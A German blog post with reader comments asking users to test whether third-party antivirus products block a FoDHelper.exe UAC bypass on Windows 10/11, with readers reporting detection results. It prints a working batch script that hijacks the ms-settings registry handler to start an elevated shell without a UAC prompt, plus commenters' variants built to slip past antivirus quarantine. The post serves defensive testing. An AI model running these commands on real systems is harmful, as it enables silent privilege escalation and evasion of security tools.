Im aktuellen Blog-Beitrag geht es um einen Test für Windows 10/11-Systeme mit installiertem Fremdvirenscanner und die Frage, ob diese "Sicherheitstools" einen Programmaufruf über FoDHelper.exe erkennen und blockieren. Der Test kann eigentlich auf jedem System, auch ohne Administratorrechte, ausgeführt werden und erfordert im einfachsten Fall lediglich Copy & Paste von wenigen Anweisungen.
Anzeige
Hintergrund des Ganzen ist die Frage von Sicherheitsexperte Stefan Kanthak, wie sich Systeme unter Windows 10 und Windows 11 verhalten, wenn ein Virenscanner von einem Drittanbieter installiert ist. Stefan Kanthak bittet darum, dass Benutzer unter Windows 10 oder Windows 11 den nachfolgend beschriebenen Test durchführen.
UAC-Bypassing mit FoDHelper.exe
Die Methode wurde von einem deutschen Studenten mit Namen Christian B. im Rahmen einer Masterarbeit zum Thema 'UAC Bypassing Methoden' entwickelt. Dazu hat er die im Blog-Beitrag Erebus Ransomware und die ausgetrickste UAC skizzierte UAC-Bypass-Methode variiert. Statt auf die Ereignisanzeige (eventvwr.exe) zu setzen, verwendet er das Programm fodhelper.exe. Dieses Programm kommt zum Einsatz, wenn man in der Einstellungen-App auf die Kategorie Apps & Features anwählt.
Bei fodhelper.exe handelt es sich um eine 'trusted binary', die administrative Berechtigungen anfordert, ohne dass die Benutzerkontensteuerungsabfrage (unter einem Administratorkonto) angezeigt wird. Christian B. hat nun herausgefunden, dass Windows 10 beim Start der fodhelper.exe in zwei Registrierungsschlüsseln nach zusätzlichen Befehlen nachschaut.
Die Details hatte ich im Mai 2017 im Blog-Beitrag Windows10: Neue UAC-Bypassing-Methode (fodhelper.exe) beschrieben. Die Methode wird auch auf Pentesting-Seiten wie pentestlab.org (siehe UAC Bypass – Fodhelper) beschrieben – und auf GitHub gibt es das PowerShell-Script FodhelperUACBypass.ps1.
Anzeige
Der UAC-Bypassing-Test
Der betreffende Test kann in Form eines Batch-Programms unter Windows 10/11 ausgeführt werden. Kopiert euch für den Test die nachfolgenden Batchanweisungen in eine Datei FoDHelper.bat.
REG.exe ADD HKEY_CURRENT_USER\Software\Classes\qUACkery\Shell\Open\Command /VE /T REG_SZ /D "%COMSPEC%" /F
REG.exe ADD HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer /VE /T REG_SZ /D "qUACkery" /F
FoDHelper.exe
REG.exe DELETE HKEY_CURRENT_USER\Software\Classes\MS-Settings /F
REG.exe DELETE HKEY_CURRENT_USER\Software\Classes\qUACkery /FGegebenenfalls fügt ihr am Ende des Batch-Programms noch einen Pause-Befehl ein, um das Schließen des Fensters der Eingabeaufforderung solange zu verhindern, bis eine Taste gedrückt wurde. Für den Test ist das aber nicht erforderlich.
Den Test ausführen
Im Anschluss ist dieses Batchprogramm unter Windows auszuführen – es reicht, die .bat-Datei per Doppelklick aufzurufen. Mein Vorschlag ist, den Test unter einem Standardbenutzerkonto und einem Administratorkonto auszuführen. Beobachtet dann, was passiert und beschreibt es in den Kommentaren.
Sofern ein Administrator die Ausführung von Batch-Skripten per SAFER, AppLocker oder WDAC unterbunden hat, lässt sich eine Eingabeaufforderung starten und die obigen fünf Zeilen per Copy & Paste einfügen.
Was ich beobachtet habe
Wird die FoDHelper.exe-Methode aus dem Batchprogramm unter einem Standardbenutzerkonto aufgerufen, kommt bei mir unter Windows 10 22H2 (mit dem Defender als Virenschutz) eine Benutzerkontenabfrage (hatte ich erwartet). Im Anschluss an die Bestätigung der UAC-Abfrage wird die Einstellungsseite Optionale Features geöffnet (siehe folgender Screenshot).
Wird das Batchprogramm dagegen unter einem Administratorkonto ausgeführt, startet das Ganze ohne dass eine Benutzerkontensteuerung anschlägt (es sei denn, die UAC-Berechtigungsabfrage steht auf der höchsten Stufe – siehe auch meine Hinweise im Blog-Beitrag Windows10: Neue UAC-Bypassing-Methode (fodhelper.exe) beschrieben). Anschließend sollte nichts passieren, sondern das Fenster der Eingabeaufforderung wird geschlossen.
Interessant wäre, ob bei installiertem Drittanbieter Virenscanner und Aufruf aus einem Administratorenkonto die Einstellungsseite Optionale Features angezeigt wird. In diesem Fall hätte der Fremdvirenscanner den Defender deaktiviert, ohne den obigen Aufruf von FoDHelper.exe abzufangen.
Weitere Erklärungen zum Test
Stefan Kanthak bittet, diesen Test von der Leserschaft durchführen zu lassen, weil hier im Blog häufig über den Schutz von Drittanbieter-Virenscannern für Windows die Rede ist. Hierzu schrieb er mir folgende ergänzende Informationen zum Hintergrund des obigen Tests:
- FoDHelper.exe alias "Feature on Demand Helper" ist eines der 70+ Programme, die in der Standardinstallation, wo normale Benutzer das beim Setup eingerichtete Administratorkonto verwenden, erhöhte Rechte ohne Nachfrage der Benutzerkontensteuerung (d.h. Anzeige des UAC-Dialogs) erlangen.
- FoDHelper.exe liest den Registry-Schluessel [HKEY_CLASSES_ROOT\ms-settings] aus und führt die dort hinterlegte Kommandozeile aus.
- [HKEY_CLASSES_ROOT] ist seit Windows 2000 ein virtueller Registry-Zweig, gebildet aus der Überlagerung der beiden nachfolgenden Registrierungszweige, wobei Letzterer den Ersteren überdeckt.
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
[HKEY_CURRENT_USER\Software\Classes]
Unter [HKEY_LOCAL_MACHINE] können nur Administratoren schreiben, während unter [HKEY_CURRENT_USER] der "gemeine" Benutzer Schreibrechte besitzt. Der Registry-Eintrag:
[HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer]
@="qUACkery"
richtet eine Umleitung zum Schlüssel:
[HKEY_CURRENT_USER\Software\Classes\qUACkery]
ein, unter dem die Konmandozeile "%COMSPEC%" alias:
C:\Windows\System32\cmd.exe
hinterlegt ist. Dank dieser Umleitung ruft FoDHelper.exe statt des unter
[HKEY_CLASSES_ROOT\ms-settings]
alias
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-settings]
eingetragenen "Immersive Control Panel" den unter:
[HKEY_CURRENT_USER\Software\Classes\ms-settings]
alias
[HKEY_CURRENT_USER\Software\Classes\qUACkery]
eingetragenen Kommandoprozessor mit erhöhten Berechtigungen auf. Stefan schrieb in seiner Mail "Dummerweise wird dieser Aufruf inzwischen vom Windows Defender blockiert. Als diese UAC-Umgehung veröffentlicht wurde, war das nicht der Fall, und Microsoft hat drei Versuche und mehrere Wochen gebraucht, um die Überwachung durch den Defender zu implementieren."
Stefan Kanthak fragt daher: "Ich möhte gerne wissen, ob andere Drittanbieter Virenscanner das ebenso blockieren, bzw. ob diese Sicherheitslücke beim Missbrauch anderer Fremdvirenscanner ausgenutzt werden kann." Er weist darauf hin, dass es eigentlich nicht sein darf, dass ein mit erhöhten Rechten laufendes Programm Registrierungseinträge oder Umgebungsvariablen abfragen und zur Befehlsausführung auswerten darf, die von nicht privilegierten Benutzern gesetzt wurden.
Nachdem das Batch-Programm beendet wurde, sind die gesetzten Registrierungseinträge wieder gelöscht – das System bleibt also sauber zurück.
Anzeige
Windows 10 Pro 22H2 Build 19045.2728 Mit ESET Smart Security v16.0.26.0
öffnet sich unter Administrator Konto nix. das Ausführungsfenster schließt sich.
Also alles so wie es sein sollte.
Windows 10Pro 22H2 Build 19045.2728 Kaspersky Security Cloud ebenso.
Windows 10 22h2, ESET Endpoint Antivirus 10.0.2045.0:
Der Start der Batch-Datei unter einem Admin-Konto mit ganz hochgedrehter UAC erfordert das Absegnen des Admin-Zugriffs, dann öffnet eine privilegierte Command Line (getestet mit 'NET SESSION' in der Command Line).
Bei mir unter Windows 11 22H2 und ESET 10.0.2045 das gleiche Verhalten unter dem Admin-Konto. Es wird kein UAC und kein Fenster mit der Einstellungsseite "Optionale Features" geöffnet. Dafür aber eine priveligierte Kommandozeile
Sehr lehrreicher Artikel.
Danke.
Explizit gesagt:
Der Defender schaltet sich automatisch ab, wenn ein anderer Virenscanner sich anmeldet.
Somit muss jeder Virenscanner solchen Klopse kennen…
Da schläft der Admin doch gleich viel besser…
Was ist das für ein kaputtes Betriebssystem-Design, das
User Datei in Root 'einblenden'?
Ansonsten hätte man ja sagen können, das fodhelper seine Rechte erniedrigen müsste, bevor er User Daten.
achso.
MS bietet jetzt ja auch eine -kostenpflichtige- Enterprise Version an, die viele Features bietet, die man im Unternehmen braucht und bisher eine fremde Scanner erforderte.
Achso, nicht vergessen
In der Cloud gibt es das Problem natürlich nicht.
Windows 10 21H2 Enterprise, 10.0.19044.2728 – Panda Adaptive Defense 360 – 8.0.21.0004
Lokales Benutzerkonto, per Doppelklick gestartet:
– Registry Schlüssel werden erfolgreich geschrieben und auch gelöscht
– FoDHelper.exe -> Zugriff verweigert
In der Folge passiert sichbar nix
Lokales Benutzerkonto mit Mitgliedschaft der Gruppe Administratoren, per Doppelklick gestartet:
– Registry Schlüssel werden erfolgreich geschrieben und auch gelöscht
– FoDHelper.exe -> Zugriff verweigert
In der Folge passiert sichbar nix
-> Batch direkt als Admin gestartet -> Rechte Maustaste "Als Administrator ausführen":
Lieber Administrator,
Adaptive Defense 360 hat am 18.03.2023 09:58:00 UTC eine Aktivität durch eine Bedrohung vom Typ „Schädliches Programm" namens „W32/Exploit.gen" auf Computer „WIN10TEST" erkannt.
Falls Sie Fragen haben, kontaktieren Sie das Team unseres technischen Supports.
Bedrohungsdetails
Computer: WIN10TEST
Gruppe: Alle\Lock-Service für Clients (vollwertig)
Name: W32/Exploit.gen
Pfad: WINDOWS|\TEMP\489314D86C55A948A225789DB7A93229_00000000C771903F.tmp
Hash: 865C0C0B4AB0E063E5CAA3387C1A8741
Datum: 18.03.2023 09:55:30 UTC
Aktion: Wird ausgeführt von
Pfad/URL/Registrierung/Schlüssel: SYSTEM|\fodhelper.exe
Datei/Hash/Registrierungswert: 85018be1fd913656bc9ff541f017eacd
Vertrauenswürdig: Ja
In der Folge hat der Kollege in Bereitschaft jetzt Plus, aber die Aktion wurde blockiert.
Ist Panda Adaptive Defense 360 bei ihnen im "Hardening" oder im "Lock"-Modus im Einsatz?
Der Modus ist Lock.
Wer erzeugt denn so einen Datei Namen?
WINDOWS|\TEMP\489314D86C55A948A225789DB7A93229_00000000C771903F.tmp
Und dann .tmp?
Was steht in der tmp?
Die bösen Registry werte?
Windows legt dort wohl Daten im Temp Verzeichnis ab, wenn der Vorgang bearbeitet wird. Den Inhalt habe ich jetzt nicht geprüft, da die Datei direkt durch die Endpoint Protection gelöscht wird. Ich müsste sehen ob ich an den Inhalt gelangen kann. Ist die Frage ob es was bringt, da meine Vorgehensweise ja nicht korrekt war -> Siehe spätere Hinweise von Stefan Kanthak.
Auf der andere Seite halte ich es ehr für unwahrscheinlich, dass die Endpoint Protection anders reagiert, wenn der User jener ist, welcher die Windows Installation initial eingerichtet hat. Ich vermute zumindest, dass das von uns verwendete Produkt dort identisch eingreifen wird. Vielleicht habe ich morgen noch Zeit für einen neuen Test.
Nachtrag:
Habe den Hash von oben bei Virustotal gesucht:
https://www.virustotal.com/gui/file/de7d1b721a1e0632b7cf04edf5032c8ecffa9f9a08492152b926f1a5a7e765d7/summary
Dort heißt es "File distributed by Microsoft and The Document Foundation", welcher nicht als Virus klassifiziert ist. Andere Sample haben eine ähnliche Namensgebung.
Scheint sich um Javascript zu handeln, erste Übermittlung war im Jahr 2009.
Hab den MD5 einfach mal bei Google eingegeben…
https://opentip.kaspersky.com/865C0C0B4AB0E063E5CAA3387C1A8741/results
kennt diesen MD5 seit 2010.
Wurde 100mal gefunden.
Und sagen "Clean".
Weitere Infos geben die nur gegen Kohle raus.
85018be1fd913656bc9ff541f017eacd kenne sie auch, seit 2019,und wurde 10000 mal gefragt.
Also 2 "Cleans" führt bei Panda zueiner Viruswarnung?
Doch alles nur Schlangenöl?
Ich denke Du darfst in diesem Fall nicht außer Acht lassen, dass der gesamte Bypass auf Systemanwendungen basiert.
Man sieht ja in der Panda Meldung, daß die fodhelper.exe grundsätzlich als vertrauenswürdig eingestuft ist. Hier geht es also um das konkrete Verhalten einer eigentlichen gutartigen Anwendung.
In anderen Fällen mag der Aufruf von fodhelper.exe völlig legitim sein.
Stell dir vor mit 7-Zip verschlüsselt jemand 173 Dokumente in AES-256 per Command-Line Befehl. Ist das jetzt die Vorbereitung der sicheren Datenübertragung an einen Kunden oder der Beginn einer Ransomware-Attacke? Wenn für böse Abschichten nur spezielle Anwendungen zur Ausführung kämen, dann wäre die Erkennung um vieles leichter.
Guten Abend
Hier hat der "Defender" das gefunden (Mit Admin-Rechten angemeldet).
Angezeigt wird gleich bei der Ausführung der Datei:
Bedrohung gefundenen: VirTool:Win32/UACBypassExp.gen!B
Bedrohung blockiert: VirTool:Win32/UACBypassExp.gen!B
Status: entfernt
Als nicht-Admin kommt erst die Benutzer-Steuerung, wenn man das mit "Ja" Bestätigt meldet sich der "Defender" mit obigen anzeigen.
Die reg-Einträge sind nicht vorhanden.
Ok,
Als Standardbenutzer: UAC geht auf, will Berechtigungen.
Als administrativer Nutzer: An der UAC vorbei. Die Seite Optionale Features wird angezeigt.
War interessant das zu testen, daher Danke für die Information. Das Ergebnis habe ich genauso erwartet.
FortiClient 7.0.7.0345
Günters "Mein Vorschlag ist, den Test unter einem Standardbenutzerkonto und einem Administratorkonto auszuführen." ist leider falsch: der Test MUSS im bei der Windows-Installation angelegten Benutzerkonto durchgeführt werden. Unter diesem Konto laufen Prozesse entweder mit Benutzer- oder mit Administratorrechten, wobei letztere durch die von ersteren vorgenommenen Einstellungen beeinflusst werden.
Wird der Aufruf von FoDHelper.exe NICHT von irgendeinem Schlangenöl blockiert, dann startet dieses Programm eine Eingabeaufforderung mit ADMINISTRATOR-Rechten, erkennbar am Text "Administrator" in der Titelleiste des Fensters. Ist der UAC-Schieber in STANDARD-Einstellung, dann passiert das OHNE UAC-Abfrage.
Siehe auch https://seclists.org/fulldisclosure/2023/Mar/9
Dann war mein Test falsch. Ich habe auf der Test VM einen Snapshot gesetzt und zwei lokale Benutzer mit und ohne Adminrechte angelegt. Unter diesen habe ich dann jeweils die Batch gestartet. Im Anschluss dann die Maschine zurückgedreht.
Funktioniert das Ganze denn nur mit dem "Ur-User"? Diese Frage hätte ja gerade im betrieblichen Umfeld starke Relevanz, da der lokale Ur-User ja zumindest bei uns nie verwendet wird. Die Mitarbeiter melden sich logischerweise mit einem Domain-User an und dafür wird bei der ersten Anmeldung ja ein neues User-Profile angelegt. Diese sollten somit kein Ur-User sein.
Aus dem Deployment gibt es zwar den lokalen Account Administrator, aber der ist deaktiviert. Somit käme die beschriebene Konstellation gar nicht zum tragen, oder habe ich was falsch verstanden?
…ja. Oder MS hat sich da eine Hintertür eingebaut, das das FUD.exe in einem runas gestartet wird, was nur jmd mit Admin Rechten darf.
ne, auch Unsinn.
Stefan sagt ja, das nicht mal Admin Rechte ausreichen würden, sondern man unter dem User arbeiten muss, der das System eingerichtet hatte.
m.w. gab es da im Setup so einen User, den Windows selbst angelegt hatte und auch wieder löschte um das System überhaupt aus dem Nichts Hochzuziehen (Münchhausen, Bootstrap, HenneEi Problem)
"…der Test MUSS im bei der Windows-Installation angelegten Benutzerkonto durchgeführt werden…"
Das Admin-Konto oder ein Benutzer, der während der Installation angelegt wurde?
Ich verstehe dass so das das die SID des Users sein soll, der die Installation gemacht hat. Das unsere wahrend der Installation abgelegt werden ist normal. Es würde mich wundern wenn diese irgendwie anders wären.
Aber wie gesagt was hindert eine Admin daran diese SID zu löschen?
Zur Klarstellung:
1) es SOLLTE das WÄHREND einer STANDARD-Installation von Windows angelegte Benutzerkonto verwendet werden ; dieses ist Mitglied der Gruppe "Administratoren", aber die UAC entfernt diese Mitgliedschaft aus dem "Access Token" des Login-Prozesses und damit allen von diesem gestarteten Folge-Prozessen (u.a. EXPLORER.exe).
2) es KANN auch jedes SPÄTER angelegte Benutzerkonto verwendet werden, dass ebenfalls Mitglied der Gruppe "Administratoren" ist; für diese gilt das unter 1) geschriebene ebenso.
JFTR: NUR in solchen Konten verwenden mit "Als Administrator ausführen" gestartete Prozesse das Benutzerprofil des unprivilegierten Aufrufers.
3) ein STANDARD-Benutzerkonto ist NICHT geeignet: dort ist "Ausführen als Administrator" gleich "Ausführen als anderer Benutzer", so gestartete Prozesse verwenden ein Benutzerprofil des "anderen Benutzers", NICHT das des aufrufenden unprivilegierten Benutzers.
4) das ECHTE, standardmässig deaktivierte Konto "Administrator" ist ebenfalls ungeeignet (denn dort läuft JEDER Prozess bereits mit Administratorrechten).
JFTR: bei 3) und 4) ist Blockieren von FoDHelper.exe VÖLLIGER SCHWACHSINN; falls euer Schlangenöl er trotzdem macht: WERFT DEN SCHROTT WEG!
Ob ein Benutzerkonto für den Test geeignet ist könnt ihr wie folgt feststellen:
a) Startet eine Eingabeaufforderung;
b) REG.exe ADD "HKEY_CURRENT_USER\Software\Microsoft\Command Processor" /V AutoRun /T REG_SZ /D "ECHO GEEIGNET!" /F
c) Schliesst die Eingabeaufforderung.
d) Startet eine Eingabeaufforderung mit erhöhten Rechten (siehe https://borncity.com/win/2016/07/06/windows10-open-command-prompt-window-as-administrator/)
Wenn dort "GEEIGNET!" angezeigt wird ist das Konto geeignet.
Demnach passten bei meinem Test mit Benutzerkonto in der Gruppe Administratoren die Rahmenbedingungen doch und die Aktion wurde durch das Drittanbieter AV blockiert.
ALTERNATIVE Methode:
a) Startet den Registrierungs-Editor REGEDIT.exe: wenn das einen UAC-Prompt auslöst ist das Konto geeignet
b) Ersetzt im Batch-Skript %COMSPEC% durch %SystemRoot%\REGEDIT.exe
c) Startet das Batch-Skript per Doppelklick: wenn FoDHelper.exe NICHT blockiert wird startet es den Registrierungs-Editor, OHNE UAC-Prompt!
Zwar werden 99,9,% aller Instsllationen den ersten User behalten haben.
Aber es wäre für doch auch möglich einen 2. Account mit Adminrechten anzulegen und den ersten Account zur löschen.
Z.B. durfte man bei W7 keinen User beim Setup verwenden der schon zum Zeitpunkt des Syspreps existierte.
Man hat sich dann im Setup mit einem Dummy User beholden, der sogleich wieder gelöscht wurde um nur die dokumentieren User auf dem System zu haben.
Also war es nur Zufall daß das System weiterlief, ohne den Installations User, dessen SID gelöscht worden sein sollte.
Dieser User dürfte garnicht gelöscht werden können?
Im Standard-Benutzer Konto kommt bei mir eine UAC-Abfrage. Ich habe dann das Passwort eingegeben und komme dann zu Optionale Features. Die UAC ist auf Standard eingestellt, Schieber zuoberst.
Aber es ist nicht das ursprünglich bei der Installation angelegte Benutzerkonto
Im Administrator-Konto, UAC auf Standard eingestellt, bleibt bei mir ein DOS-Fenster offen: c.\Windows\system32>
Eine UAC Abfrage hat es nicht gegeben.
Ich vermute auch, dass es nicht das ursprüngliche Admin-Konto ist.
Ich verwende das Schlangeöl Norton Security. Gilt auch für den vorherigen Kommentar.
Die Norton Security hat sich in beiden Fällen nicht gemeldet.
Wenn ich das weiter oben und unten stehende richtig interpretiere, ist das schlecht.
Wenn ich das weiter oben und unten stehende richtig interpretiere, ist das gut.
…ja. Oder MS hat sich da eine Hintertür eingebaut, das das FUD.exe in einem runas gestartet wird, was nur jmd mit Admin Rechten darf.
ne, auch Unsinn.
Stefan sagt ja, das nicht mal Admin Rechte ausreichen würden, sondern man unter dem User arbeiten muss, der das System eingerichtet hatte.
m.w. gab es da im Setup so einen User, den Windows selbst angelegt hatte und auch wieder löschte um das System überhaupt aus dem Nichts Hochzuziehen (Münchhausen, Bootstrap, HenneEi Problem)
Bei mir mit Kaspersky Internet Security gingen 2 cmd Fenster auf. Eines schloss sich sofort wieder, ein Fenster bleibt offen.
Im cmd Fenster steht:
Microsoft Windows [Version 10.0.19045.2728]
(c) Microsoft Corporation. Alle Rechte vorbehalten.
C:\WINDOWS\system32>
Mein System:
Windows 10 Pro
Version 22H2
Betriebssystembuild 19045.2728
Windows Feature Experience Pack 120.2212.4190.0
Ist das nun gut oder schlecht?
Weder noch – schlecht wäre, wenn sich die Optionalen Features geöffnet hätten – dann wäre der Aufruf ohne UAC-Anfrage durchgegangen. Warum das 2. Fenster der Eingabeaufforderung geöffnet bleibt, ist mir aktuell nicht klar – hast Du den Batch 2 Mal aufgerufen? Oder war ein Pause-Statement im Bat-Programm?
Ich habe den Test Code eins zu eins kopiert, in den Texteditor eingefügt und dann unter FoDHelper.bat auf dem Desktop gespeichert.
Anschließend doppelklick
"schlecht wäre, wenn sich die Optionalen Features geöffnet hätten"
NEIN, das ist der GUT-Fall! Im Schlecht-Fall wird eine (weitere) Eingabeaufforderung mit ADMINISTRATIVEN Rechten gestartet.
Das ist bei mir der Fall, aber nur im Admin-Konto. Ich verwende die Norton-Security.
CMD hat mehrer Optionen
Starte und bleibe offen
Starte und schließe dich wenn es nic mehr zu ist
wie man die Parameter schreibt ist nicht unkritisch.
vielleicht sollte man dem cmd ein
net Session ; pause mit geben?
net session dürfen nur Admins abfragem
Ich denke die Frage ist ob das Fenster Administratorrechte hat. Was steht oben am Rahmen? Administrator: Eingabeaufforderung oder nur Eingabeaufforderung? Was liefert der Befehl "whoami"?
Dieses Problem daß ein nicht Privilegierter User etwas tun muss, was root Rechte erforderte gab es schon zu Unix Zeiten.
Solchen Exe ware am gesetzten "s" Flag zu erkennen und nur ein User in einer bestimmten Liste durfte diese Befehle starten.
Es war aber Pflicht solcher Programme nicht weitere Programme zu starten.
Ist es das was MS hier versucht zu emulieren?
Problem bei MS
Ein Programm konnte seine Berechtigungen nicht weiter erhöhen als die, die sie beim Start mitbekommen hat.
Hier nach kann sichbein Programm doch höher machen?
Oder ist nur das Problem, daß der User den privilegierten nicht mitbekommt?
UAC ist aber keine Schutz Funktion, auch wenn man das Gefühl haben kann. (Irgendwo gab es Mal ein entsprechendes Statement…)
Also meines erachtens hat das Script Lösungsbedarf.
Das FoDHelper.exe wird gespawnt…da kann dauern.
Es ist noch garnicht richtig oben (Eventloop!)
da werden schon die Registry Einträge gelöscht.
Das kann funtionieren, kann aber auch nicht.
Aber:
Ich habe meinem Windows Pro kein
HKEY_CURRENT_USER\Software\Classes\MS-Settings
Somit kann dieser Registr eintrag nicht mit "reg.exe" gemacht werden.r
(Als teil von .einer .reg würde es gehen.)
Auch fehlt im Scpript die Anweisung die
@="qUACkery"
erzeugt.
das
%comspec% muß nicht cmd.exe sein.
Wenn man wirklich cmd.exe will muß man den vollqualifizierten Pfad hin schreiben.
Meist funktioniert Compsec aber.
Man sollte dem cmd den Parameter "/k net session" mitgeben.
So sieht man plastisch das cmd mit admin rechte läuft
und das Fenster geht nicht sofort zu.
REG.exe ADD HKEY_CURRENT_USER\Software\Classes\qUACkery\Shell\Open\Command /VE /T REG_SZ /D "%COMSPEC% /k" /F
REG.exe ADD HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer /VE /T REG_SZ /D "qUACkery" /F
FoDHelper.exe
pause
REG.exe DELETE HKEY_CURRENT_USER\Software\Classes\MS-Settings /F
REG.exe DELETE HKEY_CURRENT_USER\Software\Classes\qUACkery /F
pause
Aber:
Ich habe meinem Windows Pro kein
HKEY_CURRENT_USER\Software\Classes\MS-Settings
Somit kann dieser Registr eintrag nicht mit "reg.exe" gemacht werden.r
(Als teil von .einer .reg würde es gehen.)
Auch fehlt im Scpript die Anweisung die
@="qUACkery"
erzeugt.
das
%comspec% muß nicht cmd.exe sein.
Man sollte dem cmd den Parameter /kk """ net session mitgeben.
So sieht man plastisch das cmd mit admin rechte läuft.
Ein Problem kann ja nur sein, wenn ein Non-Admin user das fodhelper.exe aufruft
und eine Admin-shell hoch kommt.
Aber das kann eigentlich nicht sein, da Windows eine Elevation der Rechte zu höherem nicht gestattet.
Und wenn der User Admin rechte hat, dann ist es eh schon alles verloren.
Wie gesagt:
UAC ist KEIN Sicherheits-Feature!
Es soll den User nur daran erinnern: Willst Du das wirklich?
Falls FoDHelper.exe tatsächlich in der Lage sein sollte seine Privilegien über die des Aufrufenden Users zu erhöhen hat MS da absoluten Bockmist gebaut,
wenn es Befehle ausführt,
die ein Normaler User gesetzt hat.
"…UAC ist KEIN Sicherheits-Feature!
Es soll den User nur daran erinnern: Willst Du das wirklich?…"
Es soll aber verhindern, dass irgendwer einfach so an deinem PC rumschnipseln kann, ohne die entsprechende Berechtiung (Passwort) zu haben. Dewswegen wurde doch die UAC eingeführt.
Es gibt genug Stellen an denen keine (erneute) UAC erfolgt weil dies den User nerven würde und er das UAC irgendwann genervt abschalten würde.
Hier ist so ein Fall.
Erinnere an Vista Das ist wegen des UAC nicht auf dem Markt angekommen.
Das UAC ist der reine Schweizer Käse, aus Komfort-Gründen.
Wie hier zu lesen war haben 70+ Programme autoelevation..m.
Diese müßten extrem sauber programmiert sein. Sind die aber nicht, wie hier wo einem solchen Programm die Daten eines Non-Admins gegeben werden. Vom Betriebssystem.
Vielleicht finde ich die Quelle wieder an der stand das mam UAC nicht vertrauen kann. Ich war bis dahin auch der Meinung das es sicher wäre, das UAC auf der empfohlenen Stufe 2 zu haben, weil ich ja gefragt würde..
Selbst ein 2. User mit Admin Rechten hilft ja nichts weil ich das Programm nur im Kontext dieses Admin,+ Users laufen lassen kann. Das ist ein gewollter Konstruktions Fehler, weil MS verhindert, dass man mit mehreren Usern auf einer Kiste arbeiten kann, wenn man keine Lizenzenbgeblutet hat.
(Bekanntes Beispiel ist ja das man von einem PC aus nicht mit mehreren Accounts Shares Mounten kann ( Trick für einen weiteren Account die IP zunehmen. Das hat MS extra so programmiert.Bei Unix kann man von einem PC aus von einem Server mit 10 Accounts verschiedene Shares von einem Server mounten. Klar das MS sich damit ein Ei gelegt oder selbst den Fuß gestellt oder ins Knie geschossen hat. Aber Lizenz Gebühren sind wichtiger als die Sicherheit der User.
Wird von Kaspersky Internet Security 21.3.10.391(j) erkannt und geblockt. Anschließend in Quarantäne verschoben. Die Einstellungsseite wird nicht geöffnet.
Typ: Trojaner
Name: PDM:Trojan.Win32.Generic
Bedrohungsstufe: Hoch
Objekttyp: Prozess
Windows 11 22H2 Build: 22621.1413 ist installiert.
Was wird in Quarantäne geschobem?
das .bat oder das fodhelper.exe?
Die "FoDHelper.bat" wird in Quarantäne verschoben.
CMD.EXE wurde mit dem oben angegebenen Pfad als aktuellem Verzeichnis gestartet.
UNC-Pfade werden nicht unterstützt.
Stattdessen wird das Windows-Verzeichnis als aktuelles Verzeichnis gesetzt.
C:\Windows>REG.exe ADD HKEY_CURRENT_USER\Software\Classes\qUACkery\Shell\Open\Command /VE /T REG_SZ /D "C:\WINDOWS\system32\cmd.exe" /F
Der Vorgang wurde erfolgreich beendet.
C:\Windows>REG.exe ADD HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer /VE /T REG_SZ /D "qUACkery" /F
Der Vorgang wurde erfolgreich beendet.
C:\Windows>FoDHelper.exe
C:\Windows>REG.exe DELETE HKEY_CURRENT_USER\Software\Classes\MS-Settings /F
Der Vorgang wurde erfolgreich beendet.
C:\Windows>REG.exe DELETE HKEY_CURRENT_USER\Software\Classes\qUACkery /F
Der Vorgang wurde erfolgreich beendet.
Ist das jetzt gut oder schlecht ?
Es läuft Sophos und hat nicht angeschlagen
Bitdefender GravityZone
Als normaler User, UAC-Abfrage -> Einstellungsseite Optionale Features.
Bitdefender Meldung:
Die Advanced Threat Control hat einen Prozess blockiert, der als schädlich erkannt wurde.
Installierter Agent: Bitdefender Endpoint Security Tools
Befehlszeile: REG.exe ADD HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer /VE /T REG_SZ /D qUACkery /F
Pfad des übergeordneten Prozesses: C:\Windows\System32\cmd.exe
Übergeordnete PID: 5480
Exploit-Typ: ATC-Anwendung
Exploit-Pfad: C:\Windows\System32\reg.exe
Exploit-Status: ATC/IDS Blockiert
Letzte Blockierung: 20 March 2023 09:35:03
User, welcher bei der Installation angelegt wurde, Mitglied der Administratoren Gruppe . Nach der Ausführung geht ein 2. CMD Fenster auf.
Meldung Bitdefender:
Die Advanced Threat Control hat einen Prozess blockiert, der als schädlich erkannt wurde.
Installierter Agent: Bitdefender Endpoint Security Tools
Befehlszeile: REG.exe ADD HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer /VE /T REG_SZ /D qUACkery /F
Pfad des übergeordneten Prozesses: C:\Windows\System32\cmd.exe
Übergeordnete PID: 1532
Exploit-Typ: ATC-Anwendung
Exploit-Pfad: C:\Windows\System32\reg.exe
Exploit-Status: ATC/IDS Blockiert
Letzte Blockierung: 20 March 2023 09:41:03
Falls Schlangenöl sich erdreisten sollte, (m)ein völlig harmloses Batch-Skript ins Nirwana zu befördern, bitte noch folgende Alternativen durchspielen:
1) eine Datei snakeoil.txt (der Name ist frei wählbar) mit folgenden 5 Zeilen erzeugen:
— snakeoil.txt —
REG.exe ADD HKEY_CURRENT_USER\Software\Classes\qUACkery\Shell\Open\Command /VE /T REG_SZ /D "%SystemRoot%\REGEDIT.exe" /F
REG.exe ADD HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer /VE /T REG_SZ /D "qUACkery" /F
START /WAIT /B FoDHelper.exe
REG.exe DELETE HKEY_CURRENT_USER\Software\Classes\MS-Settings /F
REG.exe DELETE HKEY_CURRENT_USER\Software\Classes\qUACkery /F
— EOF —
2) den Inhalt der Datei in die Zwischenablage kopieren: im Editor per STRG+A STRG+C
3) den Kommandoprozessor starten und den Inhalt der Zwischenablage einfügen (STRG+V oder Rechtsklick oder Systemmenü->Bearbeiten->Einfügen)
4) den Kommandoprozessor ggf. erneut starten und folgende Kommandozeile ausführen:
TYPE snakeoil.txt | %COMSPEC%
JFTR: 3) und 4) füttern den Kommandoprozessor auf minimal unterschiedliche Weise mit den 5 Kommandozeilen.